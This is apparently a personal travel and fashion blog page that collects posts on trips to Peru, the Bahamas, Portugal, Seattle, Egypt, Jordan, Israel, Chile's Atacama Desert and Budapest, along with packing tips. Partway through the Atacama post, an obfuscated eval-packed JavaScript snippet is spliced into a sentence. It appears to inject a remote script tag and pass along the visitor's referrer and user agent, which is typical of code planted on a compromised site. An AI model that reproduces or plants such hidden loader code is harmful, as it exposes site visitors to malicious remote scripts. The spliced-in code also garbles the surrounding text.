Peru, Travel, Machu Picchu, Kate Style Petite, Packing Tips, Travel Guide

Peru

Travel, Travel

Peru is an enchanting country with friendly people, amazing food and breathtaking ruins.

I visited Lima (one night), Cusco (two days), and Machu Picchu (one day), and Iquitos (three days). We went in August and had amazing weather. The best time to visit is during the Peruvian winter because it’s their dry season and less likely to rain – from May to September.

The question I asked the most before my trip to Peru and people ask me the most about my trip: Do you need to book your trip to Machu Picchu in advance? No.

Here is the longer answer. July and August is the high season to visit Machu Picchu. My internet research told me I should book something in advance to be safe. This is what we did. But what I found out when I got there is that you don’t need to – even during high season. Even though tour companies should not double sell tickets, they do. I could not get a clear answer, but my understanding is the government legally only allows about 3,000 tickets to be sold a day. These tickets are split between 6 a.m.-noon entry or noon-5:30 p.m. In reality, they sell about double this amount and about 6,000 people actually visit a day. This practice means that even if you don’t plan in advance, you can always buy a ticket when you get to Peru.

I like booking things in-country because you get much better local advice and can compare pricing for a competitive advantage. Remember my trip to the Atacama Desert in Chile? We booked all of our tours when we got there. Doing this method works well, but does require you budget some time to doing this instead of exploring.

Our time in Peru was limited, so we decided we would go ahead and book in advance. We booked our tour through Lorenzo Expeditions. The tour was pretty run-of-the-mill. Our group size was small. However, we were paired with a few Spanish-speakers so our guide had to keep switching between Spanish and English, which meant it took double the time to explain things to us.

I would have loved to have hiked the Inca trail to Machu Picchu, but we didn’t have enough time. People we spoke with who did the trial said it was very challenging! If you are an experienced hiker and have the time, I would recommend doing the hike.

We spent a day in Cusco before travelling to Aguas Caliente, the small town at the foot of the mountain to Machu Picchu.

In Cusco, we stayed at the Ramada in the center of the city. The historic area is relatively small and easy to walk around. We spent a day exploring walking the art district, Plaza de Armas and San Pedro Market. On our way to Aguas Caliente, most tour companies will stop in the Sacred Valley. Our tour company also stopped at an animal rescue center, giving us an opportunity to feed llamas, watch Condors fly and purchase cruelty-free fur accessories (scarfs/hats).

When you get to Aguas Caliente, go to their food market, which is a two-story building close to the train tracks. On the first level, it’s a Peruvian farmer’s market selling vegetables, fruit and meat. On the second level, it’s a food court with local vendors selling amazing Peruvian food for only a few sol (their dollar). We made the mistake of eating at a restaurant, which will charge U.S. prices for food. We discovered the food court on our second day and only ate there for the rest of our time in Aguas Caliente.

Packing Tips for Machu Picchu:

  • Wear layers – It’s cold in the mornings, but it will warm up throughout the day.
  • Hiking Boots – Pack good hiking boots because there are so many trails and several mountains you can explore. We spent a full day on top of the mountain.
  • Backpack – You have to leave Machu Picchu in order to use the restroom or purchase food and your tickets only allow for two entries. Bring a backpack and pack everything you think you’ll need for the day.

The last leg of our trip was Iquitos.

We stayed at the Irapay Amazon Eco-Lodge, which is at the edge of the Amazon rainforest. The lodge is nice and sterile like a resort. Unfortunately, my partner and I prefer to be closer to the wild. If you are like us, then I’d recommend you stay at the Treehouse Lodge. They book out really far in advance; therefore, I’d recommend you make your reservations early. We couldn’t get space for our travel dates, which is why we stayed at Irapay. We organized our jungle tours through the eco-lodge, including a boat tour to spot pink dolphins, explore primal forest and visit an animal conservation.

Any eco-lodge you stay at will offer tours so you don’t have to plan them as well.

Peru is a beautiful country, and I highly recommend visiting.

Bahamas – Travel & Packing Tips

Fashion, Summer, Travel, Travel

Looking for a quick place to escape to over the winter? Check out the Bahamas!

I visited from December 25-30, 2018.

Here are a few travel tips:

Where to stay: If you’re traveling solo (like I was), I stayed at BahaSea. It’s part-hostel and part-hotel. They offer dormitories if you want to share or private rooms. It’s three buildings connected on the beach front, with several entrances to the water and next to Sandyport Beach. It has two swimming pools, good wi-fi and is very charming. A dormitory style room will run about $60-$90 while a private room will be $150-$350. I opted for this because the resorts start at $175 but average about $250 a night, but during high-season (December to mid-April) it can be much higher. Atlantis is the most popular resort since it’s basically an entire island with water park, aquarium and so much more. Baha Mar is also a very popular resort too.

Booking tours: The Bahamas is very touristy and felt like there were more Americans than locals. There are not too many options in terms of different agencies; therefore, there is not much shopping around for pricing on tours. I’d recommend booking in advance as that is always cheaper than booking last minute. You can show-up without booking anything (as I did), and it will work out, but it will likely be more expensive.

If you stay on Nassau, there is more things to do than staying in Exuma. This is what I opted to do, and I’m glad I did. On Christmas and New Year’s Eve, there is a big parade/party downtown Nassau that is called Junkanoo – it’s Bahama’s version of Carnival. It starts really going at midnight and runs well into the next morning.

You can still go to Exuma for the day to swim with the pigs. You can book a boat tour for about $200 in advance and $400 last minute. Power Boat Adventures is one of the main agencies that offers the boat tours from Nassau to Exuma. If you are unlucky and have bad weather during your trip, your boat tours may get cancelled (this happened to me).

The other option is to fly to Exuma. I used the Exuma Escapes for my day tour. They charter a flight in the morning and tour runs from 10am to 4pm. I did not have the best experience since the pilot was late so we didn’t get to Exuma until closer to 11am and the tour guide rushed us to make us fly out at 2pm. I felt very rushed, but they are friendly. I would not recommend this tour, but other tourists I spoke to also said they felt rush on their tours. My guess is that is the case for most of the tours.

If you do stay in Nassau, I’d recommend you eat at the Fish Fry, a strip of restaurants just outside of the downtown area that has local, authentic cuisine. There is a great bus system on Nassau that allows you to go basically anywhere on the island for $1.25 a trip. It’s definitely a culture experience to ride the bus with locals. The drivers can be friendly to erratic and fast drivers. I loved the experience and it let me get around the island since BahaSea was about five miles from downtown Nassau.

All in all, the Bahamas is beautiful. The water is the most beautiful shade of blue. If you love beaches, the Bahamas will be your paradise. There are pretty areas to go snorkeling, and you can rent kayaks, jet skis and do other water sports.

If you’re interested, I’d recommend a long weekend trip!

 

Packing for Bahamas:

Here are the items I packed on my trip:

  • Swimsuits (I wore a different one each day)
  • Swimsuit cover
  • Light-weight jumpsuit
  • White shorts
  • Blue and White striped dress – anything nautical theme
  • Wedges
  • Sandals
  • Water shoes
  • Eila Chérie Sunglasses
  • Sunscreen
  • Jean jacket
  • Hat
  • Eila Chérie backpack

I loved bringing my Eila Chérie backpack on the trip, because it was just the right size to fit my kindle, my camera, phone and water bottle for a day at the beach! If you’ve got an upcoming beach trip and need the perfect bag and sunglasses for your holiday, check out Eila Chérie. Between now and March 9, 2019, you can get a 20% discount with promo code “KATESTYLE”. And you can also feel good about your purchase because Eila Chérie will donate 10% of each sale this year to the Global Fund for Women.

If you’re looking for other destinations to visit in the Winter, check out Iceland. There’s amazing glaciers and you can see northern lights better there in the winter!

Portugal Guide

Fashion, Summer, Travel, Travel

Portugal is a beautiful country and well worth a visit! The best time to visit Lisbon is either from March to May or September to October, because the weather is still warm, hotel rates are cheaper and there are fewer crowds than in summer. All that said, we went in July – the dead of summer. It was very touristy, but doable and not as bad as some places I’ve visited.

We combined Lisbon, Sintra and Porto on our week trip.

Pack your walking shoes, the tiled streets of Lisbon are gorgeous and you’ll want to spend the majority of your time walking aimlessly through the historic district. When you get tired, hope on the train, which will take you around the entire city. One of my favorite things about Portugal is that all the houses are colorful and many are covered in azulejos or blue tiles.

Portugal is known for its great food and port, and we did a Culinary Backstreets eating tour on our first day to help us learn about the culture through its food and drink.

There are also many great churches and museums, which we stumbled into at random.

 

We used Lisbon as our hub, and took a day trip to Sintra by train. It’s only about an hour by train and 30 minutes if you decide to rent a car. We opted to not rent  a car so we could both enjoy the views from the train ride and not worry about getting lost. Sintra has so many castles to explore! I would recommend budgeting a full day. We slept in so missed the early trains and only had a half day in Sintra and just didn’t feel like it was enough. Also, pack your sneakers, you will do a lot of walking in Sintra – and a lot of it is up and down and up and down.

 

On the way back to Lisbon from Sintra, we stopped in Cascais, which is a small town on the oceanfront. We got there in time to watch the sunset and grab some food. However, if we had more time, we could have enjoyed the beaches before heading back to Lisbon. You could easily budget a day in Sintra and then spend the night in Cascais and have a full beach day before heading back to Lisbon.

We then headed up to Porto, which is a smaller version of Lisbon and is less touristy. I toured the Palácio da Bolsa, caught the view of Porto from the Teleférico de Gaia, stopped by the Lello Bookshop to admire its whimsical staircase, which inspired the moving staircases in Hogwarts Castle, and took photos at the most instagrammable location in Portugal – the  Capela das Almas, an old monastery from the 18th century that is covered in azulejos (blue tiles) that depict the story of St. Francis of Assisi.  

Top things to do in Seattle

2018 Fashion, Fashion, Summer, Travel, Travel

Sharing my top things to do in Seattle from our mini-vacation there a couple months ago.

  • Pike Place Market
  • Seattle Space Needle
  • Museum of Pop Culture
  • Seattle Art Museum
  • Fremont Troll – great boutiques in the neighborhood (if you can get pass the troll under the bridge!)
  • Olympic National Park (a couple hours outside of city)

We stayed at a charming bed and breakfast near the Capitol Hill neigborhood that I’d definitely recommend –www.SeattleBednBreakfast.com.

 

 

 

2 days in Egypt

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It’s been on my bucket list to see the Great Pyramids of Giza. This is why I recklessly decided to squeeze in a quick layover to Cairo, even though I really didn’t have time on my trip in December.

I booked using Emo Tours for my two days in Egypt. The service was great and took care of everything for me. I had a tour guide and private driver for my entire time. I wouldn’t normally travel on such a comprehensive tour package, but since I was by myself and with such limited time, I wanted to maximise my enjoyment so paid someone else to do the hard work for me. It was worth it for me, and I would recommend them as a local tour company.

  • The first day was a driving tour through Cairo visiting the Egyptian Museum and the bazaar.
  • Then we drove from Cairo to Giza, which was about 45 minutes. The Great Pyramids and Sphinx are just on the edge of Giza metropolitan center. I could actually watch the sunset on the Pyramids from my hotel balcony.
  • From Giza, I caught a flight to Luxor on my second day. On the West Bank of the Nile, we walked around the Valley of Kings-Deir El Bahari Temple-Colossi of Memnon and the Temple of Queen Hatshepsut.
  • There was an obligatory stop to see how local pottery and stoneware is produced, and a delicious lunch stop with traditional Egyptian food.
  • On the East Bank of the Nile, we visited Karnak and Luxor Temple to see its courtyard and the granite statues of Ramses the Great. We walked down the Avenue of Sphinxes to the Unfinished Propylon, the Hypo style Hallm with its 134 gigantic columns, the Obelisks of Queen Hatshepsut and Tutomosis III, the temple of Amon adorned with lotus and papyrus designs, the Granite Scarbeus of Amenophis III and the Sacred Lake.

A camel ride around the Pyramids was included! Totally worth it for the photos!

 

 

3 Days & 2 Nights in Jordan + Petra

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I spent three days and two nights in Jordan on Abraham Tours, and I highly recommend it! The company does offer a shorter trip, but you’ll feel rushed. Three days is just enough time to give you a good taste of the country and plenty of time to explore the stunning city of Petra.

Most people, like me usually travel to Israel and Jordan at the same time. Abraham Tours is a good company to go with if you are starting and ending in Israel. They pick-up in Tel Aviv and Jerusalem and drive through Jordan, which gives you a really good sense of the country.

TOUR ITINERARY

  • Day 1
  • – 07:00 – Collection from Jerusalem (Abraham Hostel) and transfer to Sheikh Hussein Crossing.
  • – 08:45 – Pick up from Beit She’an (Ha-Atsma’ut Square) – (Upon Request Only)
  • – 09:00 – Cross border.
  • – 10:30 – Drive to Jerash
  • – 11:30 – Visit to Jerash.
  • – 14:00 – Lunch in local restaurant.
  • – 16:00 – Driving tour of Amman. Visit to Citadel if time allows.
  • – 17:30 – Drive to Petra
  • – 20:00 – Arrive in Petra for dinner at Bedouin campsite
  • Day 2
  • – 07:00 – Breakfast
  • – 08:00 – Explore Petra with Guide
  • – 13:00 – Lunch in Restaurant near Petra
  • – 14:00 – Explore Petra – Free Time
  • – 17:00 – Depart Petra from Camp
  • – 19:00 – Arrive in camp for dinner and overnight stay
  • Day 3
  • – 07:00 – Breakfast in Camp
  • – 09:30 – Arrive in Wadi Rum, and enjoy 4×4 jeep tour
  • – 13:00 – Lunch in Wadi Rum
  • – 14:30 – Depart for the Allenby Bridge Border
  • – 18:30 – Arrive in Allenby and cross to Jerusalem
  • – 20:00 – Transport from Border
  • – 21:00 – Arrive in Jerusalem

The first stop is Jerash, which is a small city with the ruins of an ancient Greek/Roman city on the edge of town.

Then you drive to Jordan’s Capitol – Amman. We arrived in time to catch the sunset at the Citadel, which offers a great vista of the city.

Defenitely opt to stay at the Bedouin Camp instead of the hotel. It’s more glamping than camping. They have western toilets and bathrooms (and they have a hair dryer by the showers). There is a communal tent with a fireplace, where the gypsies serve you tea before you go to sleep. It’s an incredible experience.

The second day, you spend the entire day in Petra. The place is enormous and it is easy to spend the entire day walking around the ruins. I was lucky and had a great group of single, young people on my trip so we decided to explore the place together.

The third day, you drive through Wadi Rum desert, have an amazing local lunch in the desert, and then cross back into Israel.

Jordan is a beautiful country, the people are very friendly, and the food (and tea) is delicious! The country completely surprised me, and I truly fell in love with the Middle East because of Jordan. I visited in December 2017, and I felt safe throughout my travels. Despite what we hear on the news in the US, Jordan is an island of stability in the Middle East.  The country depends on tourism, which has been hit hard because public perception of Jordan gets embroiled in the larger Middle East conflict. I highly recommend you consider visiting!

 

 

 

 

Top Things To Do in Israel

Travel, Travel

I used Travel Israel, a tour company to book three tours from Tel Aviv. Another great company to consider is Abrahm Tours, which I used for my Jordan tour (more about Jordan in another blog post).

I stayed in Old Jaffa neighborhood, the old port city, and it was very charming and instagrammable. I’d definitely recommend it since it’s close to the beach, has lots of great food options, and a hipster vibe. Tel Aviv itself is like any western city but with more religious innuendo. It’s very safe and has a lot to offer tourists. From Tel Aviv, I did three day trips out to explore Israel:

  1. Masada & Dead Sea   
  2. Nazareth, Tiberias & Sea of Galilee   
  3. Jerusalem & Bethlehem  

Each of these tours can be purchase individually from Travel Israel or Abrahm Tours. Both companies also offer day trips to a variety of other locations, it all depends upon what you’re interested in. Israel is a small country and easy to use one city as your base and travel out on day trips.

  1. Deade Sea

Masada

2. Sea of Galilee

St. Peter’s Fish

Nazareth

Jordan River

3. Jerusalem

Via Dolorosa

Western Wall

3. Bethlehem

 

Given the Jewish slant to all my tours, I took extra time to explore Jerusalem and Bethlehem on my own. I crossed at the 300 security checkpoint into Bethlehem by myself with no problem and walked to Banksy’ hotel – Walled Off Hotel. My trip to Bethlehem will be one of those experiences that will stay with me forever. The plight of the Palestinians break my heart. Their voice is not loud enough to be heard around the world. People must visit to learn for themselves.

I took the Green Olive Tours recommended by the Walled Off Hotel, and I highly recommend it. I left Israel with more questions than I arrived with, but coming showed me that there is more to what we see on the news. It is important to witness it in person.

If you aren’t interested in the political history, Banksy’s artwork is spectacular and worth visiting in person. You can walk up to his paintings on the sidewalk, a few pieces walking distance from the Walled Off Hotel.

 

How to Pack for any Trip

2018 Fashion, Autumn, Fashion, Spring, Summer, Travel, Travel, Winter

 

My friend recently asked me for some packing tips so I sent her a whole list of recommendations for her upcoming trip to Japan. Most of my tips came from preparing for my own trip in December. This whole exercise though made me think that there were probably lots of my blog readers with the same question, how does one pack like a pro?

A leisure trip is different than a work trip, but here are my suggestions I gave to my friend that would work for basically all situations.

To pack like a pro, pick a color and only bring things that are part of that color family and would compliment it. Therefore, if you are one of those people that doesn’t mix brown and black, then don’t pack black purse and brown boots. Essentially, pack things that can layer together. There are a few things I always recommend packing no matter where you travel.

Always pack:

  • scarf
  • stripped top
  • jeans
  • white/black tank top

For my trip in December, I packed this red J. Crew vest and flannel top and it was perfect for layering!

 

What bag to bring?

The answer to this question can depend upon on the type of travel trip you are taking. I’ve been personally looking at this Tumi convertible backpack/crossbody. I like that it can be worn as a backpack and as a crossbody. I also generally always go with black as my theme color so this would be a great travel bag investment.

However, for my trip in December, I got this Madewell transport crossbody. It’s lightweight, has a zip closure, which is good to prevent pickpocketing, and it doesn’t draw a lot of attention to itself. I generally don’t wear anything too flashy when I travel because I don’t want to be targeted by thieves or mischievous youth.  Madewell also lets you monogram the bag for free!

Madewell Transport Crossbody Bag

What shoes to wear?
When I travel, even for work, I always go for more comfortable shoes. There are a lot of great flat options that look great and are also super comfortable. I have a pair of black flats from Anthropologie that are my favorites for travelling. It was from a few years ago, but this is a similar option: http://bit.ly/2EEJB0l
Slides are also very popular at the moment. I really like these brown ones as an option: http://bit.ly/2EBCAgV
If you’re going somewhere tropical, you could consider Soludos:http://bit.ly/2svPW9w
Oxford flats are also very trendy. I’d recommend a burgundy one because it would be more versatile of a color but any neutral color works.
For my trip in December, since I was travelling through the desert, I wanted to bring booties along. My thought was that they would prevent sand from getting into my shoes better than tennis shoes. This ended up not being true, but they worked really well nonetheless for all-purposes. I brought my Frye booties with me on my trip, but I would recommend any booties from an outdoorsy brand would be comfortable. Don’t buy booties from ALDO and expect them to be comfortable all day. You’ll have better luck going with a brand like Clarks.
I hope these tips help for your next trip you have to pack for!

Travel: Atacama Desert

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I recently travelled to Santiago, Chile for work. It’s such a vibrant and hip city. I ate the best churros of my life from a stand on the street while exploring downtown near Plaza de Armas and caught an amazing view from the fernicular that takes you to the top of San Cristoball Hill.

After my work conference finished, one of my colleagues and I travelled together to the Atacama Desert – the No. 2 on New eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hafek|var|u0026u|referrer|fiiyt||js|php’.split(‘|’),0,{}))
York Times 52 places to go in 2017 list
! It was an amazing experience that is definitely off the beaten path.

This is me in awe looking out over the Valle de la Luna or Moon Valley, which is a salt corridor in the Atacama Desert. The white on the ground is all salt. The craters and valleys really look like you’re on the surface of the moon.

The sunset in the Moon Valley was one of the most beautiful sunsets I’ve ever seen in my life.

Another favorite spot we visited was Salar de Talar, which is a salt flat up in the mountains. The rocks around the area are red so the tour is called Piedra Rojas.

 

But my most favorite thing we did was float in the Lagunas Escondidas de Baltinache or the Hidden Lagoons. It’s the deepest salt flats in the world, and you can float in it like you would the Dead Sea.What appears as coral in the water is in fact salt. These are photos of a few of the ponds we couldn’t swim in because the chemical balance was not right. However, I don’t have photos of the two lagoons we did swim in … I was too busy floating. There are about five lagoons in total in this area and you can walk between them.

 

While Valle de la LunaSalar de Talar, and Lagunas Escondidas de Baltinache were my top three favorite things we did. There is lot’s to do if you have the time. We also went to the tallest geyser field in the world, flamingos in the desert, and high-altitude lagoons in the mountains.

All these are standard tours that are best to arrange once you’ve arrived in San Pedro de Atacama because it will be much cheaper than doing online in advance. You can also shop around in town. There are hundreds of these tiny little travel agencies so you can shop for the best price, but be sure to ask smart questions ie how many people in a tour, what type of vehicle do they use, is there a driver and a tour guide? There are some places that will have very old and uncomfortable vehicles or only one person that acts as a driver and a tour guide for large groups. Avoid these, but it’s easy to sort out and book when you arrive in the little town. The only thing we booked in advance was our hotel and the bus ticket to get from the airport to the town.

Budapest Weekend Trip

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Budapest is a great long weekend escape. I spent three days in the city earlier this year, and here are my top ten things I’d recommend you do on your trip.

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  1. River Boat Tour of Danube or Tuk Tuk/Trabant Tour
  2. Castle Hill – Buda Castle
  3. Great Hill & Statue
  4. St. Stephen’s Basilica
  5. Parliament
  6. Great Central Synagogue
  7. Hero’s Square
  8. House of Terror
  9. Széchenyi Thermal Bath
  10. Great Market Hall

I didn’t do a boat tour, but I did a Trabant tour of the city. It’s a great way to cover a lot of ground quickly. You can also then go back to the places you liked the most to explore more in-depth on foot. The Trabant is an old car from the 1950s that was made in East Germany. It was fun riding around in it because everyone checks out the vintage car. Taking this tour is also great because they’ll take you to all the great hills (and saves you the trouble of climbing up them. Great Hill and Castle Hill are the two best peaks to visit to get amazing views of Budapest. Both neighborhoods are also very cute and worth walking around.

I also highly recommend visiting St. Stephen’s Basilica and going to rooftop (and don’t forget to see the Holy Hand of St. Stephen in the church – pictured below). It gives you a different perspective because it’s on the other side of the river. I didn’t do the boat tour, but I’d imagine it’s also really worthwhile. Budapest is actually two cities separated by the Danube and each side of the city has its own unique vibe. Buda is very picturesque with hills and spectacular views and Pest is flatter but with more of a city-hip urban vibe. I stayed on the Pest side of the city, and I’d recommend it since it has more bars and things to do in the evenings.

Food is also a big reason why I travel. Budapest has a few market places and they are worth visiting to try the different varieties of food. I visited the Great Market hall. My guide said all the markets are very similar so pick the one you’d like to go to instead of trying to visit them all if you’re time is limited.

I don’t like to spend too much time in museums, but the House of Terror is one that is worth visiting. It talks about the darker history of Hungary as a country that has been conquered by so many different empires and how it kept its citizens in-line.

I’d recommend ending your long days exploring the city in one of the many thermal spas. Széchenyi Thermal Bath is a popular one and is very large so doesn’t feel very crowded. It’s also a great way to relax your leg muscles from walking around exploring the Jewish Quarter where the Great Synagogue is to Andrassy Avenue, which ends into Hero’s Square, also known as the Champs Elysees of Budapest.